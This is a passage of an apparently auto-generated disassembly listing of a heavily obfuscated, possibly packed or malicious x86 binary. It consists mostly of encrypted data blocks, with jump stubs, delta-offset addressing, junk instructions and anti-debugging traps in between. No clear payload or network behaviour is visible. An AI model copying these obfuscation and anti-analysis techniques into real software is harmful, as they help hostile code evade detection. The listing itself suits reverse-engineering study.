		mov	al, dl
		pop	ebx
		leave
		retn
sub_5E03DB	endp

; ---------------------------------------------------------------------------
		lea	eax, [ebp+7EEC5BCh]
		mov	[ebp+7E92299h],	eax
		jmp	loc_5E06F2
; ---------------------------------------------------------------------------
		dw 0AA16h
		dd 9E01104Ch, 7C80h, 3 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E06F2:				; CODE XREF: sdfs____:005E06D5j
		jmp	loc_5E13E0
; ---------------------------------------------------------------------------
		push	7EECAB7h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EECBB9h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EECD2Dh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EECE76h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EECFB2h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EED21Dh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EED398h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EED4ABh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 0C7h
		dd 0FA94434h, 0B01C91EBh, 0E751DC9Eh, 14802DAFh, 62FA7B01h
		dd 3440D5C5h, 86061FB9h, 0D2AA4DEFh, 195BF123h,	0FAB7F394h
		dd 286DFBBAh, 4A42205Ah, 700ED6A0h, 0C4EBABE6h,	7F25305Ch
		dd 8BF507B3h, 0AFE27CEAh, 305CC4EFh, 0B8E98321h, 305CC4F8h
		dd 0F3AE8A18h, 2C65F760h, 37B5AC4Dh, 30CD5F45h,	51E47840h
		dd 0F729922Bh, 34ED01E9h, 2873BE98h, 0F819C04Ch, 8C19E308h
		dd 4166h, 0A0B37C00h, 0C53E7E33h, 752C305Ch, 305CC535h
		dd 0DBC9C5DFh, 0CA22273h, 0A555E07Ah, 3636B063h, 0B231D018h
		dd 0E037B59Bh, 8EAC28C2h, 39E804ECh, 28739B9Dh,	0FD1EBF43h
		dd 8C1A0A03h, 0AF63h, 0A04A4700h, 0AF420ED6h, 0B74571CDh
		dd 8C22A2F3h, 84F604B0h, 0BFCF9AE9h, 0ED0F305Ch, 326FF993h
		dd 305CC072h, 0D4B83A6Ah, 0F9F62CEh, 77CFB147h,	0FB11856Dh
		dd 45D0A579h, 764938D2h, 0BC37B5AEh, 77DF4FE6h,	9E539FE1h
		dd 3F720493h, 2FC7D631h, 2BB3455Fh, 0F89A7106h,	0DC20F27Fh
		dd 0E075A74Eh, 5CC01D94h, 6CE03C36h, 0AB07Bh, 1E5EFD00h
		dd 6B112597h, 0B6C86ECAh, 7859D3Fh, 4D2FC26Eh, 83EF48A0h
		dd 35670E6Eh, 7BD558DCh, 0AF09A4D4h, 1D42F38Dh,	0FA901081h
		dd 4A80286Dh, 0B3EE7814h, 305CC4F3h, 0FAB871Dh,	0B1E392EAh
		dd 0EE54D99Bh, 0A537A0B3h, 8000710Bh, 58305CC5h, 0DAC8C4B6h
		dd 0AB706F1Eh, 7C2637B5h, 0AAE5C1A0h, 0D9B2873h, 0AB7E3E73h
		dd 7F6F2873h, 0B8494664h, 3EFB5D9h, 239D3EDFh, 438C1A62h
		dd 0BCh, 26AAAA43h, 4F65457Fh, 0A04A21E3h, 9E2C4EE0h, 95E70A46h
		dd 0CA4A5B03h, 6C80687Ah, 5CBFAAB5h, 6B7B1230h,	0CDAF433Bh
		dd 1ADA7371h, 611B3EF7h, 99B367D3h, 50FA56DFh, 0E80BDE26h
		dd 21B4ED7Fh, 1137B58Eh, 0AC4FE293h, 9A17A13Bh,	28738E1Ah
		dd 6640A8FAh, 0C7B9542Bh, 0B640622Fh, 59760B2Eh, 74346D40h
		dd 9C20872Bh, 7AB87706h, 2DF18BACh, 0C2730197h,	30B9C356h
		dd 3C3732E1h, 0AEAC03D3h, 0F3000009h, 3B951858h, 6CC86517h
		dd 933DB0CAh, 0C06C0183h, 36A64F2Dh, 86C81F1h, 5ADACB65h
		dd 0A6D679DBh, 0ED8FAD0Fh, 0E831F40h, 286DFA8Eh, 4A167486h
		dd 0FC58D5A7h, 31911C5Eh, 3C3EDC78h, 0A216E2E0h, 8816EE88h
		dd 0D967FCFDh, 4EAA3EF8h, 3FB6C06Ah, 0CC5EC964h, 0B4A972D5h
		dd 6005A037h, 0CBD0755Ch, 11F04CE2h, 2872A1B6h,	0C647DEA8h
		dd 34CA4FEFh, 0C9709C54h, 1AE2B808h, 671368Ch, 0B38C0000h
		dd 0ECA537A0h, 37B5A265h, 0BC743ED7h, 6840CE1h,	805C462Ah
		dd 7366C5E1h, 0F697BB28h, 1A39DB25h, 6491B8Ch, 0B3AF0000h
		dd 0BA537A0h, 0AEF0572h, 0D622E410h, 0B4DACC37h, 0EBA63037h
		dd 2872D9ABh, 0FF33F65h, 973F4995h, 0AE2AFA82h,	942EF688h
		dd 7F5B2A06h, 792872DAh, 725EA6D6h, 0A15CA022h,	74EC0EAFh
		dd 10F021C8h, 6E8C1AC7h, 5FFh, 35B93F74h, 661BAD3Ah, 37B59F73h
		dd 0EBA56143h, 7399C963h, 11A73D01h, 758528D9h,	0B1BCB480h
		dd 0A77FFD10h, 96168B1Dh, 7E9C5E74h, 8D049624h,	0A3B74DAAh
		dd 17EA3A68h, 88F99304h, 9BCE13F0h, 0DA7EE6C0h,	13B1F1A0h
		dd 369A8C8Ch, 0FE54DBCCh, 0C6544E46h, 0F587A834h, 6D15A860h
		dd 17E377D1h, 356E0791h, 97F302A4h, 6D8F2B07h, 0EF6FED25h
		dd 0CA13749h, 41E88AA0h, 9032C8B8h, 3A93C418h, 67000008h
		dd 0AF09A4D4h, 0D07CF18Bh, 7B13C3Eh, 0B4E08D0Fh, 0C25ADBA1h
		dd 94E07565h, 0E666BF19h, 324AED4Fh, 79FB1183h,	9A1793F4h
		dd 286DF81Ah, 4AE2C0FAh, 9844D6A0h, 0F4280072h,	17A13621h
		dd 56C7417Eh, 4EC4A5Eh,	680FEFA2h, 2381384Fh, 6707F392h
		dd 177286Dh, 28C5B745h,	0D16BE075h, 6D65D8A0h, 7928C228h
		dd 286D6639h, 26A6FFDBh, 0D8B45890h, 25B74537h,	3BD195B9h
		dd 49DFE539h, 635EEFF5h, 0B913072h, 6B75A981h, 0E43937D2h
		dd 99E5AA30h, 47F28BAFh, 0A4D06548h, 22B44A58h,	6DB32F6Fh
		dd 77C3E128h, 3DCFA943h, 0B2AEEEA3h, 3C66286Dh,	0B2B7F7AAh
		dd 4B59286Dh, 1763E2EFh, 31286DB3h, 65D75E1Eh, 0A859A5D7h
		dd 286DC30Ch, 0B6721B3Dh, 0CB5BDAA4h, 6EA71303h, 249058EEh
		dd 0E9986416h, 286DB2CDh, 0FF29D0F4h, 3D92235Dh, 0F1h
		dd 0DADAD761h, 3A286DB2h, 0F5D8DD68h, 0A2C2B0BDh, 0A04A7456h
		dd 0C4DFDFD2h, 0BAC8305Ch, 3EFDC3D6h, 0FF8D177Fh, 0F484AB27h
		dd 8D049E28h, 305C250Dh, 0F484AB07h, 2C049A28h,	5C255D5Dh
		dd 0A3DD7F30h, 0F4638E43h, 5CCF2F62h, 0E3C1384Fh, 0E307B56h
		dd 92C51934h, 6F1h, 0D05D1F3Ch,	0BAAD064h, 78F587A9h, 0AF46C4DCh
		dd 0E18CE80Dh, 2FC2AE8Bh, 1D74A04Dh, 95BA169Fh,	4CEE4AEBh
		dd 0C0DA8332h, 6DF6D1D1h, 5B094328h, 0ED6A04Ah,	3BCDAF42h
		dd 0C4B0F0A1h, 4260305Ch, 0A649EBF6h, 5FFD5FD6h, 1124901Dh
		dd 1A3F9B6Bh, 0C7C98262h, 2A4FE226h, 0B76B29A6h, 42F381E6h
		dd 3117FFC1h, 77F84h, 514B0000h, 5Fh, 3ADC78F1h, 0AE6FC40h
		dd 12F28CAEh, 5CB55773h, 0A34A4A30h, 4A9CB61h, 29F587A8h
		dd 5CB55D78h, 5A4E830h,	0A14C2CC3h, 0DBA54A61h,	3CD17D0Bh
		dd 12DEE438h, 5DEF91A6h, 5D68D8C0h, 0FA364C64h,	2ABD5A6h
		dd 0A64F31C6h, 5CAD68DFh, 3C833030h, 0BE8430F3h, 0FFFFFEF2h
		dd 3655104h, 78F10000h,	0FD413BDCh, 351B56E7h, 0CEFB4428h
		dd 0DAA4B662h, 0A40F9B0Ah, 0DE06305Ch, 1567F53Fh, 0F8B8E983h
		dd 18305CA3h, 8E5FF38Ah, 0BB71A73Eh, 34C6727Fh,	7F0BFA4Ah
		dd 59305BDCh, 0A87DC1B3h, 11801A8Dh, 384F12F1h,	265AFD59h
		dd 6D122B6Bh, 29BFE528h, 24A8F9D5h, 0E8B65A96h,	6D11F9B9h
		dd 0FB891B28h, 0EEA597Eh, 0F0E77F34h, 5B5h, 8C2153F8h
		dd 0C76E0C20h, 34B9C355h, 6B0A8898h, 0DD5024C9h, 6B8EEA4Fh
		dd 0E1309C11h, 0D166D263h, 80AA06AFh, 8C167FF6h, 6DF59515h
		dd 1F4D7F28h, 0ED6A04Ah, 20CDAF42h, 991466F4h, 82621A3Fh
		dd 245D2336h, 305CC564h, 0D660F6ACh, 9A7FB33Fh,	0B63F17EAh
		dd 0CF0D9882h, 0C965CDE7h, 0B96B1272h, 0F44DE094h, 84314E0Ch
		dd 0E86CA521h, 285ED00h, 78F50000h, 0F43C3EDCh,	15A72439h
		dd 9D5A749h, 0CD0544Dh,	0D408E076h, 4FC67F2Dh, 14B5590Fh
		dd 1FDAFDC7h, 25D7983h,	0B3490000h, 84F41BBAh, 2942AB8h
		dd 5CC50F8Fh, 0BD53FB30h, 0E56163C3h, 1FC32FADh, 0DAC8B985h
		dd 0E20F4FC5h, 0A262BF5Eh, 0DC831FDBh, 22Fh, 0C5DC78E6h
		dd 3FD3FF47h, 4DE3E13Dh, 0B037C8E5h, 0C5276B26h, 0BFE9305Ch
		dd 5CC4C2C2h, 0C2505230h, 0C6158362h, 0E2330F4Fh, 23368262h
		dd 24C88559h, 942D7285h, 3B70FF22h, 68113DA5h, 4CCEC68Eh
		dd 8506F2F0h, 831F073Bh, 1E2BBh, 0BAB30F00h, 0BB8BF51Bh
		dd 19E19C29h, 0A5469536h, 840C8517h, 8C305CB1h,	6957CE16h
		dd 730F4FB2h, 13ED2ECFh, 53831FEFh, 1B7h, 0D1A04A77h, 0D30D75Dh
		dd 0AF7705E8h, 2BE18411h, 0D5CCC5F6h, 0E593B91Dh, 5C37ECACh
		dd 0E87E2430h, 90071245h, 95616F06h, 763A7A37h,	0C8DA305Ch
		dd 93FD813Dh, 9A5626CBh, 34F6950Ch, 69C37B5h, 356B473Eh
		dd 0ED112873h, 6C358F4Ch, 45B18C1Ah, 11000000h,	0A537A0B3h
		dd 0B9AE720Bh, 0D24C40A3h, 37494938h, 0D9CB305Ch, 1D717011h
		dd 832137B5h, 86346DE9h, 0BC740A74h, 1D258160h,	37DB2873h
		dd 887B4596h, 0E8FB8C1Ah, 0EB000000h, 1EAFC963h, 3A43F5D6h
		dd 0CEFC3421h, 44D6A04Ah
		dd 0C4B7F7AAh, 4B59305Ch, 0F207B3EFh, 2B66F08Ah, 305CC56Bh
		dd 0FF33FFA5h, 0AD3F39D3h, 94680C21h, 0F08E220Eh, 7EBAC054h
		dd 2FC6B05Ah, 2C6C25BFh, 0E4305CC5h, 0C89372BEh, 6305CBFh
		dd 7BEB8AF4h, 0BFF0B0E1h, 8220305Ch, 0EF78FBB6h, 0EBCB245Dh
		dd 831D37B0h, 70EB8E0Eh, 85057C28h, 8F2870EBh, 0CF2B7915h
		dd 5EF78123h, 919976Bh,	9C29BB8Bh, 0D8104A06h, 89F306CEh
		dd 0BBC557FFh, 0C91596Bh, 42EF8DA0h, 340A4D5Bh,	4AF2E579h
		dd 57000003h, 9F39B4C4h, 0C06C017Bh, 77A14C2Eh,	0A4109D1Fh
		dd 0D24AEB91h, 0A4D06555h, 0F676AF09h, 423ADD7Fh, 89EB01B3h
		dd 6A2783E4h, 286DF32Ah, 4AF2D0EAh, 0FC58D5A7h,	0C28A1C5Eh
		dd 0A5D77A2Eh, 69B54B59h, 21B7356Dh, 4A7EC4C9h,	0DFDFD2A0h
		dd 31305CC4h, 0B501DD73h, 2958D5A7h, 305CC58Eh,	98099A95h
		dd 305CC518h, 8214AAF8h, 0B5BB580Fh, 1238A437h,	2A069C60h
		dd 30CA5C46h, 73BC4141h, 19D1D328h, 0B9730A94h,	4D749C14h
		dd 4A784AA6h, 9844D6A0h, 0A63C0072h, 90BA164Ah,	19144FE6h
		dd 0C497178Ah, 2B79305Ch, 0EF8E0395h, 0A737B5ABh, 644021FDh
		dd 182873ACh, 3C8455F4h, 0BA8C19F5h, 35h, 0C5DC7808h, 3B36EB47h
		dd 68671AACh, 2E37B5ABh, 0B04BE274h, 6CFAC587h,	0FDCF286Fh
		dd 7301C813h, 1EBA6B87h, 0C22873B3h, 82429F3Eh,	0FC8C19F2h
		dd 0CEh, 3EDC78C6h, 0E5E5E03Ch,	50A4B0BEh, 0E4D018AEh
		dd 0FCD82456h, 2A6A2759h, 22305C1Ch, 17AD71F3h,	8CA1257Fh
		dd 0F88E14E8h, 0F082A824h, 0E88AA02Ch, 17333E45h, 81AB305Ch
		dd 56F965F7h, 6CC4DE26h, 5B253761h, 0AC3B368Bh,	0F758671Ah
		dd 0C4DE37B4h, 6CFB7629h, 550A43DAh, 523D4003h,	829100E6h
		dd 302FC736h, 0D97CD872h, 0AA4D09A3h, 9A2852E4h, 815D1F32h
		dd 0EAA3703h, 0B1891EBh, 293C34D6h, 1CFA215h, 39D20000h
		dd 0F61AB63Fh, 0A94FE984h, 0A2F25ED7h, 0E238D20h, 0D069C76Eh
		dd 862F4DE0h, 0F479FB2Ah, 28C5B758h, 610C6E8Ch,	0AFEFA2FCh
		dd 61286DF1h, 0A74A752Bh, 759B43D5h, 0CC621A3Dh, 3B867270h
		dd 20377399h, 68FE8458h, 0A0B37DC5h, 0C53E7E33h, 61E305Ch
		dd 6A2AB884h, 8510AA38h, 29339926h, 0D9CF2BE5h,	0BCFCB54Fh
		dd 54305C4Dh, 0A9BBA449h, 28BE4774h, 0EC201C0h,	0D2D037B5h
		dd 0B9E87472h, 0B20EFF3Bh, 5628730Eh, 0EED603AAh, 88C1A96h
		dd 0CFh, 0D6A04A5Ah, 0CDAF420Eh, 0BFC59071h, 0AF37305Ch
		dd 492BC189h, 0B15B7FBBh, 26B02EC7h, 1FE799BEh,	0BF941485h
		dd 267C305Ch, 324CEECAh, 87B90D98h, 919B81BCh, 0A5B00559h
		dd 0B488F204h, 0F476AE2Eh, 72049A28h, 0B536B03Fh, 8A1C8637h
		dd 8C50D2C2h, 0F14D2FC0h, 8955DF3h, 0BB4DDA55h,	0C76090C6h
		dd 0F4861C2Fh, 0D1D1C05Ah, 43208760h, 82D8961h,	0C257C16Ch
		dd 3D243FBAh, 0C4183C34h, 0BC93h, 2A4AE100h, 7705298Bh
		dd 0C2BC52FEh, 13918133h, 59233662h, 0F7E344D4h, 399B1A62h
		dd 6FC964E8h, 933DB0C8h, 1176FF79h, 0F09C1C95h,	4674286Dh
		dd 38DC7860h, 55E0E242h, 0B16645D3h, 2D8961A9h,	57C16C08h
		dd 0A521BBC5h, 881AEA92h, 4AE55DA0h, 420ED6A0h,	0A23CCEA8h
		dd 5CC4AFEFh, 524D9830h, 4DE0ED2h, 0D3DE1A88h, 700A9D98h
		dd 4FF08501h, 29F5AF38h, 40ED8FADh, 0E83446D4h,	0C730239h
		dd 0B657F920h, 179ED872h, 53E597A5h, 0C5199B8Bh, 933F73BFh
		dd 0CA3D0183h, 39D323CAh, 0CB744848h, 1EDAC810h, 4FE690BAh
		dd 0D12D4FEDh, 7E8C3ED7h, 8E088489h, 36DA2h, 54B50000h
		dd 0D7A14AF6h, 0CFA9430Fh, 0C4B45B77h, 0C7455C78h, 0BEBE537Fh
		dd 0B5C76A66h, 0B7356D69h, 0B3CD636Fh, 0A9D36753h, 0EC815E55h
		dd 4
; ---------------------------------------------------------------------------
		mov	[esp], esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	edi
		mov	edi, 7EEC98Dh
		push	edi
		sub	dword ptr [esp], 7B522AFEh
		pop	ecx
		add	ecx, 7B522AFEh
		pop	edi
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	67ABh
		mov	[esp], ecx
		pop	dword ptr [ebp+8]
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 0Fh
		dd 9E17ADEAh, 0F27B4742h, 37036C3Eh
; ---------------------------------------------------------------------------


loc_5E13E0:				; CODE XREF: sdfs____:loc_5E06F2j
		mov	eax, 7EED58Ch
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 4Fh,	5Ch, 32h
		dd 0B3F43273h, 0AADB5458h, 0DE992C32h, 0C8D4E91Dh, 0BF84D003h
		dd 67EC457Ch, 8B947C21h, 20644957h, 8B364236h, 6A47F866h
		dd 0D795B44Bh, 33EC392Dh, 23E8AC67h, 0CF922F68h, 2A0A6C57h
		dd 0F71FE233h, 1460FF13h, 0A964B20Fh, 0DC5D524Eh, 1342AD1Bh
		dd 91AF8F6Ah, 6EA62062h, 6E8D8D19h, 6A07EED7h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0ADA7C353h, 0B50D8E52h, 7EB23363h, 7107BB66h, 320D8D89h
		dd 6A07E9h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 92254AC3h, 8DB2705Dh, 810F6062h, 6, 34DD9509h
		dd 9D8B07E9h, 7E93029h,	0E585C761h, 0B007E922h,	6A00005Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 59A3C355h, 659D8B45h, 6607E931h, 0C78854BAh
		dd 0E922B185h, 7, 0F9BD8B00h, 0FF07E901h, 0E9245DB5h, 8595FF07h
		dd 6A07E922h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 8142C351h, 8A3733B6h, 0FF006AD0h
		dd 0E90C3195h, 0EBC08B07h, 55C9665Bh, 9E657F62h, 4A3F7000h
		dd 0BEE8F3Bh, 0DE35381Ch, 0BBA5CB8Fh, 0B3539721h, 0B201C870h
		dd 9FE5374h, 1414D3ABh,	5D23C6A7h, 15614E17h, 76EDBBA1h
		dd 855B3C88h, 0B9F54BFEh, 1F6C1A3Ch, 0F1080A22h, 6F4817B7h
		dd 219241C1h, 0EC0518C8h, 1AEC7D42h, 0A80F3CBCh, 2D2356DAh
		dd 0D85E8D8Dh, 0B58907EEh, 7E909B9h, 320D8D89h,	8B6007E9h
		dd 0E92EBD8Dh, 85C76107h, 7E922E5h, 591Ch, 0EE8h, 0F6442200h
		dd 0A86408A7h, 59090C59h, 8B7196B3h, 0E91C6D85h, 85C75B07h
		dd 7E922B1h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5E15DC
; ---------------------------------------------------------------------------
		db 0CFh, 44h, 4Dh
; ---------------------------------------------------------------------------
		sbb	al, 9Ah
		jnp	short loc_5E1623


loc_5E15DC:				; CODE XREF: sdfs____:005E15D0j
		push	dword ptr [ebp+7E92045h]
		push	0
		push	edi
		call	sub_5E15ED
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E15ED	proc near		; CODE XREF: sdfs____:005E15E5p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5E15ED	endp

; ---------------------------------------------------------------------------


loc_5E15FD:				; CODE XREF: sdfs____:005E1661j
		stosb
		dec	edi
		dec	esi
		push	edx
		mov	ax, cx
		pop	eax
		call	dword ptr [ebp+7E92285h]
		mov	edi, [ebp+7E915C9h] ; CODE XREF: sdfs____:005E167Dj
		push	0
		call	dword ptr [ebp+7E90C31h]
		mov	eax, eax
		jmp	short loc_5E169A
; ---------------------------------------------------------------------------
		ficom	word ptr [esi+143EEAB6h]


loc_5E1623:				; CODE XREF: sdfs____:005E15DAj
		xchg	eax, ecx
		push	cs
		pop	esp
		xor	eax, 1A6F3BEAh
		sbb	eax, 0E9A3E4AFh
		std
		adc	edi, [eax+3A3D33A4h]
		xlat
		or	edx, [edi]
		jl	short near ptr loc_5E165E+1
		xchg	eax, ebx
		xchg	eax, esp
		add	es:[eax], ch	; CODE XREF: sdfs____:005E167Aj
		mov	bl, 0B7h
		cdq
		mov	edx, 0E215F8D9h
		into
		jnz	short loc_5E16C9
		cmc
		mov	ebx, 0FA9C6CD1h
		db	26h
		sahf
		sbb	dword ptr [esi+3Fh], 68h
		xor	esp, [ecx-47368C17h]


loc_5E165E:				; CODE XREF: sdfs____:005E163Aj
		mov	al, ch
		push	eax
		jle	short loc_5E15FD
		xor	eax, 20F9E6B8h
		icebp
		pop	edi
		or	[edx], edi
		jnp	short near ptr loc_5E1694+1
		xchg	bl, [ebx-26BAB884h]
		mov	cl, 0ADh
		lodsb
		inc	ebx
		int	3		; Trap to Debugger
		lodsb
		lock jge short near ptr	loc_5E163E+1
		jb	short near ptr loc_5E160B+4
		insd
		cld
		add	[esi], ch
		sub	[ecx+7121CDD0h], ah
		mov	esp, 0BBC88A5Dh
		cmp	ah, [ebp-5009438Ch]


loc_5E1694:				; CODE XREF: sdfs____:005E166Cj
		mov	esp, 36F97410h


loc_5E169A:				; CODE XREF: sdfs____:005E161Bj
		call	near ptr loc_5E16A8+1
		sub	ebx, [ecx]
		movsb
		sub	byte ptr [edi+46h], 3Ch
		stc


loc_5E16A8:				; CODE XREF: sdfs____:loc_5E169Ap
		db	2Eh
		pop	edx
		movsx	eax, si
		add	edx, 5E2Eh
		sub	esi, [ebp+7E91F85h]
		mov	ebx, 0
		js	loc_5E16C6
		mov	ecx, edi


loc_5E16C6:				; CODE XREF: sdfs____:005E16BEj
					; sdfs____:005E1750j
		push	dword ptr [ebx+edx]


loc_5E16C9:				; CODE XREF: sdfs____:005E164Aj
		sbb	si, 0B63Ch
		pop	edi
		mov	eax, [ebp+7E930F9h]
		add	edi, 6C2C305Eh
		jz	loc_5E16F3
		jmp	loc_5E16F3
; ---------------------------------------------------------------------------
		dw 22A6h
		dd 134418Bh, 7C53B266h
; ---------------------------------------------------------------------------
		fistp	qword ptr [eax-7]


loc_5E16F3:				; CODE XREF: sdfs____:005E16DBj
					; sdfs____:005E16E1j
		add	edi, 1287881Bh
		add	[ebp+7E9019Dh],	edi
		xor	edi, 15C40CA6h
		jb	loc_5E1711
		add	esi, 44D827E1h


loc_5E1711:				; CODE XREF: sdfs____:005E1705j
		mov	[edx+ebx], edi
		mov	si, 5B3Eh
		and	ah, 0EAh
		sub	ebx, 4
		jmp	loc_5E172D
; ---------------------------------------------------------------------------
		db 6Dh
; ---------------------------------------------------------------------------
		call	dword ptr [edi]
		shr	byte ptr [ebp-56D0D0FBh], 68h


loc_5E172D:				; CODE XREF: sdfs____:005E171Ej
		cmp	ebx, 0FFFFA290h
		jnz	loc_5E174B
		mov	[ebp+7E91C09h],	edi
		jmp	loc_5E1761
; ---------------------------------------------------------------------------
		dd 0DC0282EAh
		db 5Bh,	0E5h, 53h
; ---------------------------------------------------------------------------


loc_5E174B:				; CODE XREF: sdfs____:005E1733j
		mov	ecx, 0C82F8FBh
		jmp	loc_5E16C6
; ---------------------------------------------------------------------------
		mov	byte ptr [ebx-7B7839EDh], 5Ch
		retf
; ---------------------------------------------------------------------------
		db 10h,	0BDh, 5Bh
		db 24h
; ---------------------------------------------------------------------------


loc_5E1761:				; CODE XREF: sdfs____:005E173Fj
		jmp	loc_5E18E6
; ---------------------------------------------------------------------------
		dw 91A4h
		dd 687C1BECh, 4CD2878Fh, 58904F73h, 56AB08AEh, 56B051A5h
		dd 58B708A6h, 718D51ADh, 24873886h, 708851D4h, 0C42CD32Fh
		dd 0B6BC9F2Bh, 141F5093h, 12851E2h, 0
		dd 40000h, 2 dup(0)
		dd 350000h, 0
		dd 80000h, 0
		dd 79530000h, 6D657473h, 72502000h, 7365636Fh, 5D73h, 45h dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E18E6:				; CODE XREF: sdfs____:loc_5E1761j
		jmp	loc_5E2F2E
; ---------------------------------------------------------------------------
		push	7EEDD49h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EEDE2Ah
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EEDF10h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EEDFD2h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EEE165h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EEE2C2h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EEE3A5h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EEE463h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EEE670h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EEE765h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EEE828h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EEE8A4h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EEEA3Fh
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EEEF2Ah
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EEF028h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		db 88h,	90h, 40h
; ---------------------------------------------------------------------------
		pop	edx
		neg	dword ptr [edx-4B129386h]
		push	1CC4DF72h
		xchg	dh, [ebx]
		aad	31h
		test	eax, 3F5D3133h
		lahf
		pop	es
		mov	dl, 58h
		mov	word ptr [esi],	ss
		mov	ds:963BA367h, eax
		jg	short loc_5E19F9
		dec	ebx
		pushf
		or	al, 67h
		mov	ecx, 71A92E5Fh
		and	al, 98h
		dec	edi
		pop	eax
		mov	[esi+3], ch
		or	al, 0DCh
		int	3		; Trap to Debugger
		or	eax, 5AD0CB13h
		jmp	short loc_5E1A1E
; ---------------------------------------------------------------------------
		dec	eax
		pop	eax
		ror	dword ptr [esi], cl
		popf
		sub	[ecx-6DA2B074h], ch
		icebp
		inc	esi
		sal	dword ptr [edi-743BF491h], 1
		mov	ecx, 73D9527Ah
		pop	esi
		push	esi
		cdq
		aaa
		and	al, 0E7h
		cld
		sbb	al, [esi-1BF93139h]
		jmp	esp
; ---------------------------------------------------------------------------
		db 7Fh
		dd 99565ECDh, 3482649Eh, 13FFDAE0h, 4788h
		db 0
; ---------------------------------------------------------------------------


loc_5E19F9:				; CODE XREF: sdfs____:005E19A4j
		clc
		push	264B0E9h
		fst	st(4)
		push	20995656h
		rol	ecx, cl
		sub	al, [esi]
		push	edi
		push	esi
		cdq
		retn	2AB1h
; ---------------------------------------------------------------------------
		dd 801653AEh, 8D55B110h, 0F17F6A69h
		db 7Ah,	17h
; ---------------------------------------------------------------------------


loc_5E1A1E:				; CODE XREF: sdfs____:005E19BEj
		lahf
		sub	[ecx-481BF9ABh], ch
		test	[edx+56h], ebp
		cdq
		inc	esi
		cmp	al, 0CAh
		dec	esp
		sub	dl, dl
		call	dword ptr [ebx]
		mov	bh, 78h
		dec	ebp
		sar	edi, 1
		xchg	eax, esi
		inc	ebx
		int	3		; Trap to Debugger
		aad	0B0h
		or	eax, [ecx]
; ---------------------------------------------------------------------------
		db 2 dup(0), 0D4h
		dd 9584584Fh, 0F0A2275Ah, 3A87E320h, 2C8D34DCh,	0B1B1013Fh
		dd 544B1670h, 81F6284h,	4CE760BAh, 0A14055E0h, 0D51A5B98h
		dd 5AC126CDh, 67BEA140h, 0F9F23BBh, 0F280BE20h,	0DFD4156Ch
		dd 0A1407971h, 0BF2A29h, 0E5BDD909h, 0F8E32B64h, 0FAEE0045h
		dd 795BC16Ah, 0DC1FA140h, 79F927CCh, 0A2B1A140h, 8919A927h
		dd 8F04CCC8h, 0A14079A1h, 0C6D2F210h, 0D6FA16B5h, 8BEF26CBh
		dd 1CBDA929h, 0E2BED800h, 5767E349h, 1754A799h,	8F24848Ch
		dd 995767A1h, 0CDD51A59h, 59819C3Dh, 677CA04Bh,	3F3C9957h
		dd 2ABC09A4h, 3FD93DB6h, 0F605A143h, 0E12563E2h, 0F83A58F9h
		dd 4A37749Ch, 2E066760h, 8B48D5F3h, 6000013h, 75C4C20Eh
		dd 6BEEF418h, 5DFCEA32h, 0B1009E42h, 0BD2BB353h, 1DC1DFB3h
		dd 32DA3485h, 21E92594h, 0D10118B9h, 0E58E12C9h, 0A92E6237h
		dd 4F1AA6F3h, 95158D51h, 0E832DA34h, 0A2D7A6EBh, 5B000B65h
		dd 4E9AF140h, 1653E450h, 1862A6E2h, 47069ADBh, 7C63874Bh
		dd 214CE765h, 5BA9289Fh, 4DA2FE18h, 34145486h, 4B978EABh
		dd 220A9F0Ah, 0E5995590h, 95E12DD9h, 221400ADh,	47A367A3h
		dd 0ACE48118h, 8C000000h, 83C977FCh, 10819955h,	0F6EDD2F2h
		dd 88584F42h, 0B460B918h, 0CF130F52h, 9EE3138Eh, 7D3A5C80h
